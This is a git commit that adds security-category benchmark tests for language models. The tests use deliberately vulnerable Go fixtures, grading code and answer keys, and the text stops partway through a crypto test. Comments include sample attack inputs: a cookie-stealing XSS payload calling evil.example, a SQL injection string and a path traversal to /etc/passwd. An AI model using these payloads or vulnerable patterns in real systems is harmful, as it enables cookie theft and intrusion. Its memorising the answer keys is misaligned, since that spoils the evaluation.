test(catalog): add security category with 30 tests

Add a new security category with three subcategories: appsec, crypto,
and secrets. Each subcategory holds 10 self-contained, deterministic
tests grounded in real vulnerability classes and remediation
procedures.

Appsec tests spot line-numbered injection, XSS, path traversal, SSRF,
IDOR, and open-redirect flaws in synthetic fixtures, plus CSRF, rate
limiting, input validation, and log-secret placement questions. Crypto
tests cover password hashing, constant-time comparison, JWT alg=none,
TLS floor version, AES-GCM nonce reuse, random source choice, key
rotation ordering, HMAC versus asymmetric signing, certificate chain
validation, and hash-versus-encrypt choices for PII. Secrets tests
cover hardcoded-secret spotting, remediation ordering (rotate before
history rewrite), vault tradeoffs, Kubernetes Secret base64 nuance,
zero-downtime rotation ordering, least-privilege scoping, diff secret
spotting, fork-PR CI exposure, SSH agent identity handling, and
gitignore-versus-history nuance.

A shared security.go file exposes registerSecurityTests and two
reusable helpers: secNoUnnegatedMention, a bidirectional negation-aware
guard adapted from kubernetes.go so a correct warning against a
discouraged term is never penalized, and secExactAnswer, a forgiving
exact-match evaluator for single-token answers.

This change touches only new internal/tests/security*.go files. It
does not modify catalog.go or catalog_test.go; the orchestrator wires
registerSecurityTests at integration. A wiring test in security_test.go
verifies the registration directly, mirroring the agents_test.go
pattern.

Every test carries a ground-truth comment, and every evaluator's unit
test covers at least three correct phrasings and two incorrect ones.
This commit is contained in:
2026-08-17 02:23:46 +01:00
parent 8ab83a57ca
commit d778bb6c17
8 changed files with 2227 additions and 0 deletions
+98
View File
@@ -0,0 +1,98 @@
package tests
import (
"context"
"regexp"
"strings"
"github.com/lukaszraczylo/llm-testbench/internal/eval"
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
)
// registerSecurityTests registers every security-category test. Each
// subcategory - appsec, crypto, secrets - has its own register function and
// source file (security_appsec.go, security_crypto.go, security_secrets.go)
// to keep any one file from growing past a few hundred lines.
func registerSecurityTests(r *testkit.Registry) {
registerSecurityAppsecTests(r)
registerSecurityCryptoTests(r)
registerSecuritySecretsTests(r)
}
// secNegationCuePattern matches a word that turns a mention of a
// discouraged term (a weak algorithm, an insecure package) into a warning
// against it rather than an endorsement of it. Adapted from kubernetes.go's
// negationCuePattern, with "must not"/"isn't"/"wasn't"/"shouldn't"/"should
// not" added: security answers in this category more often phrase the
// warning as "X is not suitable" or "X must not be used" than as
// kubernetes.go's "don't run X" imperative.
var secNegationCuePattern = regexp.MustCompile(`(?i)\b(don'?t|do not|never|avoid|instead of|not|cannot|can'?t|rather than|without|no need|shouldn'?t|should not|must not|isn'?t|wasn'?t)\b`)
// secNegationWindow is how many characters around a discouraged-term match
// are searched for a negation cue.
const secNegationWindow = 60
// secNegationNearby reports whether a negation cue appears within
// secNegationWindow characters immediately before OR after the match
// [start,end) in response. This is deliberately bidirectional, unlike
// kubernetes.go's negationWindowStart (which only looks before the match):
// kubernetes.go's forbidden phrase is an imperative ("kubectl edit"), so the
// negation cue naturally precedes it ("don't run kubectl edit"). This
// category's discouraged terms are usually algorithm/package names, and a
// good answer just as often negates them with the cue AFTER the term
// ("SHA-256 is not appropriate for passwords", "math/rand must never be
// used here") as before it ("never use MD5", "avoid math/rand").
func secNegationNearby(response string, start, end int) bool {
lo := start - secNegationWindow
if lo < 0 {
lo = 0
}
hi := end + secNegationWindow
if hi > len(response) {
hi = len(response)
}
return secNegationCuePattern.MatchString(response[lo:start]) || secNegationCuePattern.MatchString(response[end:hi])
}
// secNoUnnegatedMention returns an Evaluator scoring full credit unless
// badPattern matches somewhere in the response with no negation cue nearby -
// i.e. it penalizes an unqualified endorsement of a discouraged
// algorithm/package but not a warning against using it. This is deliberately
// not eval.NotContains, which would also zero out the best possible answer
// (one that correctly names the discouraged term while warning against it).
func secNoUnnegatedMention(badPattern *regexp.Regexp) eval.Evaluator {
return eval.EvaluatorFunc(func(_ context.Context, response string) eval.Score {
matches := badPattern.FindAllStringIndex(response, -1)
if len(matches) == 0 {
return eval.Score{Value: 1, Detail: "no mention of a discouraged term"}
}
for _, loc := range matches {
if !secNegationNearby(response, loc[0], loc[1]) {
return eval.Score{Value: 0, Detail: "unnegated mention of a discouraged term"}
}
}
return eval.Score{Value: 1, Detail: "every mention of a discouraged term is negated"}
})
}
// secExactAnswer returns an Evaluator awarding full credit when the
// response, trimmed of whitespace, at most one layer of surrounding quote
// characters ('", or `), and a single trailing sentence-ending period,
// equals want case-insensitively. Mirrors codebase_analysis.go's
// codeExactAnswer: it accepts every materially-correct form of a forced
// single-token/short-phrase answer (bare, quoted, differently-cased, or with
// trailing punctuation) without loosening the match to accept a substring of
// a longer, wrong answer.
func secExactAnswer(want string) eval.Evaluator {
return eval.EvaluatorFunc(func(_ context.Context, response string) eval.Score {
got := strings.TrimSpace(response)
got = strings.Trim(got, "\"'`")
got = strings.TrimSuffix(strings.TrimSpace(got), ".")
got = strings.TrimSpace(got)
wantTrimmed := strings.TrimSpace(want)
if strings.EqualFold(got, wantTrimmed) {
return eval.Score{Value: 1, Detail: "equals " + wantTrimmed}
}
return eval.Score{Value: 0, Detail: "got " + got + ", want " + wantTrimmed}
})
}
+429
View File
@@ -0,0 +1,429 @@
package tests
import (
"github.com/lukaszraczylo/llm-testbench/internal/eval"
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
)
func registerSecurityAppsecTests(r *testkit.Registry) {
r.Register(secSQLiSpotTest())
r.Register(secXSSSinkSpotTest())
r.Register(secPathTraversalSpotTest())
r.Register(secSSRFSpotTest())
r.Register(secIDORSpotTest())
r.Register(secOpenRedirectSpotTest())
r.Register(secCSRFRequirementTest())
r.Register(secRateLimitPlacementTest())
r.Register(secInputValidationBoundaryTest())
r.Register(secSecretLogSpotTest())
}
// secSQLiFixture is a synthetic, never-compiled Go handler (FIXTURE:
// referenced only from this string literal, never as real source) used as
// the line-numbered prompt body for secSQLiSpotTest. Each displayed line is
// prefixed with its 1-based position in this listing.
const secSQLiFixture = `1: func LookupUser(db *sql.DB, username string) (*User, error) {
2: query := "SELECT id, email FROM users WHERE username = '" + username + "'"
3: row := db.QueryRow(query)
4: var u User
5: if err := row.Scan(&u.ID, &u.Email); err != nil {
6: return nil, err
7: }
8: return &u, nil
9: }`
// secSQLiSpotTest: spot a SQL injection built by string-concatenating an
// unsanitized parameter into a query, and require the parameterized-query
// fix.
//
// ground truth: line 2 concatenates the caller-supplied username directly
// into the SQL text. A username of `' OR '1'='1` closes the quoted literal
// early and turns the WHERE clause into an always-true condition, returning
// every row instead of one user. The fix is a parameterized query (a
// placeholder plus separately-passed args), not string concatenation.
func secSQLiSpotTest() testkit.Test {
prompt := `Here is a Go database handler. Each displayed line is prefixed
with its 1-based position in this listing:
` + secSQLiFixture + `
Which line number introduces a SQL injection vulnerability, and what
category of fix addresses it? Respond with only a JSON object:
{"line":<number>,"fix":"<one of: parameterized-query, escape-output, add-waf>"}`
evaluator := eval.Mean(
eval.JSONField("line", 2),
eval.JSONField("fix", "parameterized-query"),
)
return testkit.Test{
ID: "sec-sqli-spot",
Category: "security",
Subcategory: "appsec",
Description: "Spot a SQL injection built by string-concatenating a caller-supplied value into a query, and require the parameterized-query fix.",
Prompt: prompt,
Eval: evaluator,
}
}
// secXSSFixture is a synthetic Go HTTP handler (FIXTURE: prompt-only, never
// compiled) for secXSSSinkSpotTest.
const secXSSFixture = `1: func Greet(w http.ResponseWriter, r *http.Request) {
2: name := r.URL.Query().Get("name")
3: w.Header().Set("Content-Type", "text/html")
4: fmt.Fprintf(w, "<h1>Welcome, %s!</h1>", name)
5: }`
// secXSSSinkSpotTest: spot a reflected-XSS sink where a query parameter is
// written into an HTML response with no escaping.
//
// ground truth: line 4 writes the caller-supplied name straight into the
// HTML body with fmt.Fprintf, which does no HTML escaping. A name of
// `<script>document.location='https://evil.example/steal?c='+document.cookie</script>`
// executes in the victim's browser. The fix is to HTML-escape the value
// before writing it (or render through html/template, which auto-escapes),
// not to validate input shape or add a Content-Security-Policy as the
// primary fix for an already-unescaped sink.
func secXSSSinkSpotTest() testkit.Test {
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
its 1-based position in this listing:
` + secXSSFixture + `
Which line number is the reflected-XSS sink, and what category of fix
addresses it? Respond with only a JSON object:
{"line":<number>,"fix":"<one of: escape-output, validate-input, add-csp>"}`
evaluator := eval.Mean(
eval.JSONField("line", 4),
eval.JSONField("fix", "escape-output"),
)
return testkit.Test{
ID: "sec-xss-sink-spot",
Category: "security",
Subcategory: "appsec",
Description: "Spot a reflected-XSS sink writing an unescaped query parameter into an HTML response.",
Prompt: prompt,
Eval: evaluator,
}
}
// secPathTraversalFixture is a synthetic Go HTTP handler (FIXTURE:
// prompt-only, never compiled) for secPathTraversalSpotTest.
const secPathTraversalFixture = `1: func ServeReport(w http.ResponseWriter, r *http.Request) {
2: name := r.URL.Query().Get("file")
3: path := "/var/reports/" + name
4: data, err := os.ReadFile(path)
5: if err != nil {
6: http.Error(w, "not found", http.StatusNotFound)
7: return
8: }
9: w.Write(data)
10: }`
// secPathTraversalSpotTest: spot a path-traversal vulnerability where a
// query parameter is concatenated onto a base directory with no cleaning.
//
// ground truth: line 3 concatenates the caller-supplied file parameter
// directly onto the base directory with no cleaning of ".." segments. A
// file value of `../../etc/passwd` escapes /var/reports/ entirely. The fix
// is to resolve and validate the final path stays inside the base
// directory (e.g. filepath.Clean plus a prefix check, or rejecting ".."),
// not to HTML-escape output or rate-limit the endpoint.
func secPathTraversalSpotTest() testkit.Test {
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
its 1-based position in this listing:
` + secPathTraversalFixture + `
Which line number introduces a path-traversal vulnerability, and what
category of fix addresses it? Respond with only a JSON object:
{"line":<number>,"fix":"<one of: sanitize-path, escape-output, rate-limit>"}`
evaluator := eval.Mean(
eval.JSONField("line", 3),
eval.JSONField("fix", "sanitize-path"),
)
return testkit.Test{
ID: "sec-path-traversal-spot",
Category: "security",
Subcategory: "appsec",
Description: "Spot a path traversal built by concatenating a caller-supplied filename onto a base directory with no cleaning.",
Prompt: prompt,
Eval: evaluator,
}
}
// secSSRFFixture is a synthetic Go HTTP handler (FIXTURE: prompt-only,
// never compiled) for secSSRFSpotTest.
const secSSRFFixture = `1: func FetchPreview(w http.ResponseWriter, r *http.Request) {
2: target := r.URL.Query().Get("url")
3: resp, err := http.Get(target)
4: if err != nil {
5: http.Error(w, "fetch failed", http.StatusBadGateway)
6: return
7: }
8: defer resp.Body.Close()
9: io.Copy(w, resp.Body)
10: }`
// secSSRFSpotTest: spot a server-side-request-forgery sink where the server
// fetches a fully attacker-controlled URL with no allowlist.
//
// ground truth: line 3 passes the caller-supplied target URL straight to an
// outbound HTTP GET performed by the server, with no allowlist or denylist.
// An attacker can point it at hosts the server can reach but the attacker
// cannot (an internal admin panel, a cloud metadata endpoint), turning the
// server into a proxy for internal network access. The fix is to allowlist
// the permitted hosts/schemes before fetching, not to sanitize a filesystem
// path or escape HTML output.
func secSSRFSpotTest() testkit.Test {
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
its 1-based position in this listing:
` + secSSRFFixture + `
Which line number introduces a server-side request forgery vulnerability,
and what category of fix addresses it? Respond with only a JSON object:
{"line":<number>,"fix":"<one of: allowlist-hosts, sanitize-path, escape-output>"}`
evaluator := eval.Mean(
eval.JSONField("line", 3),
eval.JSONField("fix", "allowlist-hosts"),
)
return testkit.Test{
ID: "sec-ssrf-spot",
Category: "security",
Subcategory: "appsec",
Description: "Spot an SSRF sink where the server fetches a fully attacker-controlled URL with no host allowlist.",
Prompt: prompt,
Eval: evaluator,
}
}
// secIDORFixture is a synthetic Go HTTP handler (FIXTURE: prompt-only,
// never compiled) for secIDORSpotTest.
const secIDORFixture = `1: func GetInvoice(w http.ResponseWriter, r *http.Request) {
2: userID := currentUser(r).ID
3: invoiceID := r.URL.Query().Get("id")
4: invoice, err := db.FindInvoice(invoiceID)
5: if err != nil {
6: http.Error(w, "not found", http.StatusNotFound)
7: return
8: }
9: json.NewEncoder(w).Encode(invoice)
10: }`
// secIDORSpotTest: spot an insecure-direct-object-reference where an
// invoice is looked up by a client-supplied id with no ownership check.
//
// ground truth: line 4 fetches the invoice by the caller-supplied
// invoiceID alone. userID (line 2) is read but never compared against the
// fetched invoice's owner, so any logged-in user can read any other user's
// invoice by guessing or incrementing the id. The fix is to authorize the
// fetch against the requesting user's ownership, not to parameterize the
// query (it already is) or rate-limit the endpoint.
func secIDORSpotTest() testkit.Test {
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
its 1-based position in this listing:
` + secIDORFixture + `
Which line number performs a lookup that is missing an authorization check
(an insecure direct object reference), and what category of fix addresses
it? Respond with only a JSON object:
{"line":<number>,"fix":"<one of: authorize-owner, parameterized-query, rate-limit>"}`
evaluator := eval.Mean(
eval.JSONField("line", 4),
eval.JSONField("fix", "authorize-owner"),
)
return testkit.Test{
ID: "sec-idor-spot",
Category: "security",
Subcategory: "appsec",
Description: "Spot an IDOR: an invoice fetched by a client-supplied id with the requesting user's ownership never checked.",
Prompt: prompt,
Eval: evaluator,
}
}
// secOpenRedirectFixture is a synthetic Go HTTP handler (FIXTURE:
// prompt-only, never compiled) for secOpenRedirectSpotTest.
const secOpenRedirectFixture = `1: func Login(w http.ResponseWriter, r *http.Request) {
2: next := r.URL.Query().Get("next")
3: // ... authenticate the user ...
4: http.Redirect(w, r, next, http.StatusFound)
5: }`
// secOpenRedirectSpotTest: spot an open-redirect where a post-login
// destination is taken unvalidated from a query parameter.
//
// ground truth: line 4 redirects to the raw next parameter with no check
// that it points to this application's own host. An attacker can craft a
// login link with next=https://evil.example.com and redirect authenticated
// users off-site immediately after they log in.
func secOpenRedirectSpotTest() testkit.Test {
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
its 1-based position in this listing:
` + secOpenRedirectFixture + `
Which line number redirects to a caller-controlled destination with no
same-host check (an open redirect)? Respond with only a JSON object:
{"line":<number>}`
return testkit.Test{
ID: "sec-open-redirect-spot",
Category: "security",
Subcategory: "appsec",
Description: "Spot an open redirect: a post-login destination taken unvalidated from a query parameter.",
Prompt: prompt,
Eval: eval.JSONField("line", 4),
}
}
// secCSRFRequirementTest: decide whether an endpoint authenticated purely
// by a custom header bearer token (no cookies) needs CSRF protection.
//
// ground truth: CSRF exploits an ambient credential the browser attaches
// automatically to cross-site requests - a session cookie. A forged
// cross-site request cannot make the victim's browser attach a custom
// Authorization header on its own, so an endpoint authenticated only by a
// header-carried bearer token, with no cookie in the picture, has no
// ambient credential for a forged request to ride on and does not need a
// CSRF token.
func secCSRFRequirementTest() testkit.Test {
prompt := `A POST /api/transfer endpoint moves money between accounts. It
is authenticated only by a bearer token read from a custom Authorization
header; the server sets no cookies at all, and nothing about this endpoint
causes a browser to attach that header automatically to a cross-site
request.
Does this endpoint need an explicit CSRF token/protection mechanism?
Respond with only one word: yes or no.`
return testkit.Test{
ID: "sec-csrf-requirement",
Category: "security",
Subcategory: "appsec",
Description: "Decide whether a header-bearer-token-only endpoint (no cookies) needs CSRF protection.",
Prompt: prompt,
Eval: secExactAnswer("no"),
}
}
// secRateLimitPlacementTest: decide the correct stage and keying for
// rate-limiting a login endpoint.
//
// ground truth: rate limiting must run before the expensive password check
// runs (as an outer gate), otherwise every brute-force attempt still pays
// the full bcrypt/argon2 cost and the limiter does nothing to stop resource
// exhaustion. Keying by IP alone lets one attacker rotate usernames from a
// fixed IP largely unthrottled per-account, and keying by account alone
// lets a distributed attacker (many IPs) brute-force one account
// unthrottled per-IP; keying by the (ip, account) pair catches both.
func secRateLimitPlacementTest() testkit.Test {
prompt := `A login endpoint calls bcrypt.CompareHashAndPassword (a
deliberately slow, CPU-expensive check) to verify the submitted password
against the stored hash.
At which stage should rate limiting be enforced relative to the bcrypt
check, and how should the rate-limit key be constructed? Respond with only
a JSON object:
{"stage":"<one of: before-auth-check, after-auth-check>","key":"<one of: ip-and-account, ip-only, account-only>"}`
evaluator := eval.Mean(
eval.JSONField("stage", "before-auth-check"),
eval.JSONField("key", "ip-and-account"),
)
return testkit.Test{
ID: "sec-rate-limit-placement",
Category: "security",
Subcategory: "appsec",
Description: "Decide rate limiting must gate a login endpoint before the expensive password check, keyed by IP and account together.",
Prompt: prompt,
Eval: evaluator,
}
}
// secInputValidationBoundaryTest: name the two numeric boundary checks
// missing from an unvalidated order-quantity field.
//
// ground truth: a zero or negative quantity lets an attacker construct a
// negative-total order line, effectively crediting themselves money; an
// unbounded huge quantity can overflow price*quantity arithmetic or let a
// single request attempt to reserve the entire inventory. Both a lower
// bound (reject <= 0) and an upper bound (reject/cap above a sane maximum)
// are required; either check alone leaves the other abuse path open.
func secInputValidationBoundaryTest() testkit.Test {
prompt := `An order-checkout endpoint accepts a JSON body with a
"quantity" integer field for one line item. The handler does nothing but
json.Unmarshal it into an int before using it to compute
price * quantity and reserve that many units of inventory - no other
validation runs on it.
Name the two numeric boundary checks that must be added to quantity before
it is used, and why each one matters.`
evaluator := eval.Mean(
eval.ContainsAny("negative", "<= 0", "zero or negative", "greater than zero", "greater than 0", "positive"),
eval.ContainsAny("maximum", "upper bound", "cap", "overflow", "too large", "excessively large", "unbounded"),
)
return testkit.Test{
ID: "sec-input-validation-boundary",
Category: "security",
Subcategory: "appsec",
Description: "Name the lower-bound and upper-bound numeric checks missing from an unvalidated order-quantity field.",
Prompt: prompt,
Eval: evaluator,
}
}
// secSecretLogFixture is a synthetic Go HTTP handler (FIXTURE: prompt-only,
// never compiled) for secSecretLogSpotTest.
// #nosec G101 -- prompt-only fixture text, never compiled; it demonstrates a
// secret leaking into application logs, which is exactly the bug this test
// asks the model to spot.
const secSecretLogFixture = `1: func HandlePayment(w http.ResponseWriter, r *http.Request) {
2: apiKey := r.Header.Get("X-API-Key")
3: log.Printf("processing payment request: method=%s path=%s api_key=%s", r.Method, r.URL.Path, apiKey)
4: result, err := chargeCard(r.Context(), apiKey)
5: if err != nil {
6: http.Error(w, "payment failed", http.StatusInternalServerError)
7: return
8: }
9: json.NewEncoder(w).Encode(result)
10: }`
// secSecretLogSpotTest: spot a live secret written to plain-visibility
// application logs.
//
// ground truth: line 3 writes the raw apiKey straight into the application
// log at plain visibility. Anyone with log access - a log-aggregation SaaS,
// on-disk log rotation, a support engineer grepping logs - now has the live
// API key, independent of any access control on the API itself.
func secSecretLogSpotTest() testkit.Test {
prompt := `Here is a Go HTTP handler. Each displayed line is prefixed with
its 1-based position in this listing:
` + secSecretLogFixture + `
Which line number writes a live secret into the application logs at plain
visibility? Respond with only a JSON object: {"line":<number>}`
return testkit.Test{
ID: "sec-secret-log-spot",
Category: "security",
Subcategory: "appsec",
Description: "Spot a live API key written straight into application logs at plain visibility.",
Prompt: prompt,
Eval: eval.JSONField("line", 3),
}
}
+266
View File
@@ -0,0 +1,266 @@
package tests
import (
"context"
"testing"
)
func TestSecSQLiSpotTest_Eval(t *testing.T) {
tc := secSQLiSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":2,"fix":"parameterized-query"}`, want: 1},
{name: "correct fenced with prose", response: "The injection is here:\n```json\n{\"line\":2,\"fix\":\"parameterized-query\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 2, "fix": "parameterized-query" }`, want: 1},
{name: "wrong line", response: `{"line":3,"fix":"parameterized-query"}`, want: 0.5},
{name: "wrong fix", response: `{"line":2,"fix":"escape-output"}`, want: 0.5},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecXSSSinkSpotTest_Eval(t *testing.T) {
tc := secXSSSinkSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":4,"fix":"escape-output"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"line\":4,\"fix\":\"escape-output\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 4, "fix": "escape-output" }`, want: 1},
{name: "wrong line", response: `{"line":2,"fix":"escape-output"}`, want: 0.5},
{name: "wrong fix", response: `{"line":4,"fix":"validate-input"}`, want: 0.5},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecPathTraversalSpotTest_Eval(t *testing.T) {
tc := secPathTraversalSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":3,"fix":"sanitize-path"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"line\":3,\"fix\":\"sanitize-path\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 3, "fix": "sanitize-path" }`, want: 1},
{name: "wrong line", response: `{"line":4,"fix":"sanitize-path"}`, want: 0.5},
{name: "wrong fix", response: `{"line":3,"fix":"escape-output"}`, want: 0.5},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecSSRFSpotTest_Eval(t *testing.T) {
tc := secSSRFSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":3,"fix":"allowlist-hosts"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"line\":3,\"fix\":\"allowlist-hosts\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 3, "fix": "allowlist-hosts" }`, want: 1},
{name: "wrong line", response: `{"line":2,"fix":"allowlist-hosts"}`, want: 0.5},
{name: "wrong fix", response: `{"line":3,"fix":"sanitize-path"}`, want: 0.5},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecIDORSpotTest_Eval(t *testing.T) {
tc := secIDORSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":4,"fix":"authorize-owner"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"line\":4,\"fix\":\"authorize-owner\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 4, "fix": "authorize-owner" }`, want: 1},
{name: "wrong line", response: `{"line":9,"fix":"authorize-owner"}`, want: 0.5},
{name: "wrong fix", response: `{"line":4,"fix":"rate-limit"}`, want: 0.5},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecOpenRedirectSpotTest_Eval(t *testing.T) {
tc := secOpenRedirectSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":4}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"line\":4}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 4 }`, want: 1},
{name: "wrong line: username param", response: `{"line":2}`, want: 0},
{name: "wrong line: signature comment", response: `{"line":1}`, want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecCSRFRequirementTest_Eval(t *testing.T) {
tc := secCSRFRequirementTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct bare", response: "no", want: 1},
{name: "correct with period", response: "No.", want: 1},
{name: "correct quoted", response: `'no'`, want: 1},
{name: "wrong bare", response: "yes", want: 0},
{name: "wrong with sentence", response: "Yes, it needs CSRF protection.", want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecRateLimitPlacementTest_Eval(t *testing.T) {
tc := secRateLimitPlacementTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"stage":"before-auth-check","key":"ip-and-account"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"stage\":\"before-auth-check\",\"key\":\"ip-and-account\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "stage": "before-auth-check", "key": "ip-and-account" }`, want: 1},
{name: "wrong stage", response: `{"stage":"after-auth-check","key":"ip-and-account"}`, want: 0.5},
{name: "wrong key", response: `{"stage":"before-auth-check","key":"ip-only"}`, want: 0.5},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecInputValidationBoundaryTest_Eval(t *testing.T) {
tc := secInputValidationBoundaryTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct: negative and cap phrasing",
response: "Reject quantity <= 0 (negative or zero) and cap it at a sane maximum to avoid overflow.",
want: 1,
},
{
name: "correct: greater-than-zero and upper-bound phrasing",
response: "Quantity must be greater than zero, and there must be an upper bound to prevent an excessively large value.",
want: 1,
},
{
name: "correct: isn't-negative and maximum phrasing",
response: "Check that quantity isn't negative and add a maximum limit on it.",
want: 1,
},
{
name: "wrong: no boundary checks named",
response: "Just make sure quantity is an integer.",
want: 0,
},
{
name: "wrong: only lower bound named",
response: "Reject negative quantities.",
want: 0.5,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecSecretLogSpotTest_Eval(t *testing.T) {
tc := secSecretLogSpotTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"line":3}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"line\":3}\n```", want: 1},
{name: "correct with spacing", response: `{ "line": 3 }`, want: 1},
{name: "wrong line: header read", response: `{"line":2}`, want: 0},
{name: "wrong line: charge call", response: `{"line":4}`, want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
+366
View File
@@ -0,0 +1,366 @@
package tests
import (
"regexp"
"github.com/lukaszraczylo/llm-testbench/internal/eval"
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
)
func registerSecurityCryptoTests(r *testkit.Registry) {
r.Register(secPasswordHashChoiceTest())
r.Register(secConstantTimeCompareTest())
r.Register(secJWTAlgNoneTest())
r.Register(secTLSFloorVersionTest())
r.Register(secAESGCMNonceReuseTest())
r.Register(secRandSourceChoiceTest())
r.Register(secRotateOrderTest())
r.Register(secHMACVsSignatureTest())
r.Register(secCertChainValidationTest())
r.Register(secHashVsEncryptPIITest())
}
// secWeakPasswordHashPattern matches a mention of a fast, general-purpose
// hash (MD5, plain SHA-1/256/512) - the ones that must never be used
// directly for password storage because they lack a tunable work factor.
var secWeakPasswordHashPattern = regexp.MustCompile(`(?i)\b(md5|sha-?1|sha-?256|sha-?512)\b`)
// secPasswordHashChoiceTest: recommend bcrypt/argon2 for password storage
// while not being penalized for correctly warning against SHA/MD5.
//
// ground truth: bcrypt and argon2(id) are deliberately slow, tunable-cost
// password hashing functions designed to resist brute force even after a
// database leak. MD5 and plain SHA-1/256/512 are fast, general-purpose
// hashes with no work factor - an attacker with GPUs can try billions of
// candidates per second against a leaked SHA-256 hash - so they must never
// be used to store passwords directly, even though a good answer will
// still name them by way of warning against them.
func secPasswordHashChoiceTest() testkit.Test {
prompt := `Design password storage for a new signup endpoint. Which
hashing approach should be used to store user passwords at rest, and which
common hash functions must never be used for this specific purpose?`
evaluator := eval.Mean(
eval.ContainsAny("bcrypt", "argon2"),
secNoUnnegatedMention(secWeakPasswordHashPattern),
)
return testkit.Test{
ID: "sec-password-hash-choice",
Category: "security",
Subcategory: "crypto",
Description: "Recommend bcrypt/argon2 for password storage without being penalized for correctly warning against SHA/MD5.",
Prompt: prompt,
Eval: evaluator,
}
}
// secConstantTimeCompareTest: name the timing-attack defect in comparing an
// HMAC signature with == and the constant-time API that fixes it.
//
// ground truth: Go's == (and bytes.Equal) on two byte slices compares
// byte-by-byte and returns as soon as it finds a difference, so the time
// the comparison takes leaks how many leading bytes matched. An attacker
// who can measure response timing can recover the correct signature one
// byte at a time. The fix is a constant-time comparison: hmac.Equal
// (crypto/hmac) or subtle.ConstantTimeCompare (crypto/subtle), both of
// which always examine every byte regardless of where a mismatch occurs.
func secConstantTimeCompareTest() testkit.Test {
prompt := `A webhook handler recomputes an HMAC-SHA256 signature for an
incoming payload and compares it to the value of the X-Signature header
using Go's == operator on the two byte slices.
Name the security defect this introduces, and the correct Go API to use
instead of ==.`
evaluator := eval.Mean(
eval.ContainsAny("timing attack", "timing side channel", "time-based", "constant-time", "constant time"),
eval.ContainsAny("hmac.equal", "subtle.constanttimecompare", "constanttimecompare"),
)
return testkit.Test{
ID: "sec-constant-time-compare",
Category: "security",
